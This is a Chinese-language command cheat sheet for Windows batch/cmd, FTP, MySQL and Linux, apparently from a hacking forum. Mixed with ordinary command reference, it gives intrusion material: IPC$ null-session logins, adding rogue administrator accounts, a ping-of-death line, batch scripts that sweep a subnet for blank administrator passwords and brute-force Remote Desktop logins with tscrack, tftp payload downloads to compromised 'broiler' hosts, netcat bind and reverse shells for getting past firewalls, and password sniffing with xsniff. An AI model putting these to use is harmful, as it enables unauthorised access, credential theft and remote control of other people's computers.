批处理 bat cmd 命令大全
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名erm 替换指定用户的访问权限;/G 用户名erm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysql*** -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)
附:批处理命令与变量
1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关
IN (set):指在(set)中取值;DO command :指执行command
参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:***istrator | find "命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”
(二)系统外部命令(均需下载相关工具):
1、瑞士军刀:nc.exe
参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行〔危险〕
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
基本用法:
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注:
| 管道命令
< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
>与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。
2、扫锚工具:xscan.exe
基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机
命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出
4、终端服务密码破解: tscrack.exe
参数说明
-h 显示使用帮助
-v 显示版本信息
-s 在屏幕上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个连接(多线程)
-N Prevent System Log entries on targeted server
-U 卸载移除tscrack组件
-f 使用-f后面的密码
-F 间隔时间(频率)
-l 使用-l后面的用户名
-w 使用-w后面的密码字典
-p 使用-p后面的密码
-D 登录主页面
用法示例
tscrack 192.168.0.1 -l ***istrator -w pass.dic 远程用密码字典文件暴破主机的***istrator的登陆密码
tscrack 192.168.0.1 -l ***istrator -p 123456 用密码123456远程登陆192.168.0.1的***istrator用户
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)
3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l ***istrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)
hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的***istrator密码,并将破解结果保存在rouji.txt文件中。
5、其它:
Shutdown.exe
Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
OpenTelnet.exe (远程开启telnet工具)
opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \\ip 连接上对方。
NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。
ResumeTelnet.exe (OpenTelnet附带的另一个工具)
resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。
#10 十:
6、FTP命令详解:
FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。
FTP的命令行格式为:
ftp -v -d -i -n -g [主机名] ,其中
-v 显示远程服务器的所有响应信息;
-n 限制ftp的自动登录,即不使用;.n etrc文件;
-d 使用调试方式;
-g 取消全局文件名。
FTP使用的内部命令如下(中括号表示可选项):
1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
2.$ macro-ame[args]: 执行宏定义macro-name。
3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。
5.ascii:使用ascii类型传输方式。
6.bell:每个命令执行完毕后计算机响铃一次。
7.bin:使用二进制文件传输方式。
8.bye:退出ftp会话过程。
9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
10.cd remote-dir:进入远程主机目录。
11.cdup:进入远程主机目录的父目录。
12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。
13.close:中断与远程服务器的ftp会话(与open对应)。
14.cr:使用asscii方式传输文件时,将回车换行转换为回行。
15.delete remote-file:删除远程主机文件。
16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。
17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
18.disconnection:同close。
19.form format:将文件传输方式设置为format,缺省为file方式。
20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。
21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
22.hash:每传输1024字节,显示一个hash符号(#)。
23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。
25.image:设置二进制传输方式(同binary)。
26.lcd[dir]:将本地工作目录切换至dir。
27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。
29.mdelete[remote-file]:删除远程主机文件。
30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。
31.mget remote-files:传输多个远程文件。
32.mkdir dir-name:在远程主机中建一目录。
33.mls remote-file local-file:同nlist,但可指定多个文件名。
34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。
35.modtime file-name:显示远程主机文件的最后修改时间。
36.mput local-file:将多个文件传输至远程主机。
37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。
39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。
41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
42.passive:进入被动传输方式。
43.prompt:设置多个文件传输时的交互提示。
44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
46.pwd:显示远程主机的当前工作目录。
47.quit:同bye,退出ftp会话。
48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.
49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。
51.rhelp[cmd-name]:请求获得远程主机的帮助。
52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。
53.rename[from][to]:更改远程主机文件名。
54.reset:清除回答队列。
55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
56.rmdir dir-name:删除远程主机目录。
57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
58.send local-file[remote-file]:同put。
59.sendport:设置PORT命令的使用。
60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。
61.size file-name:显示远程主机文件大小,如:site idle 7200。
62.status:显示当前ftp状态。
63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
64.sunique:将远程主机文件名存储设置为只一(与runique对应)。
65.system:显示远程主机的操作系统类型。
66.tenex:将文件传输类型设置为TENEX机的所需的类型。
67.tick:设置传输时的字节计数器。
68.trace:设置包跟踪。
69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3
71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。
72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.
73.?[cmd]:同help.
7:计算机运行命令全集 winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
wscrīpt--------windows脚本宿主设置
write----------写字板winmsd-----系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天
mem.exe--------显示内存使用情况
Msconfig.exe---系统配置实用程序
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
mplayer2-------媒体播放机
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
dxdiag---------检查DirectX信息
drwtsn32------ 系统医生
devmgmt.msc--- 设备管理器
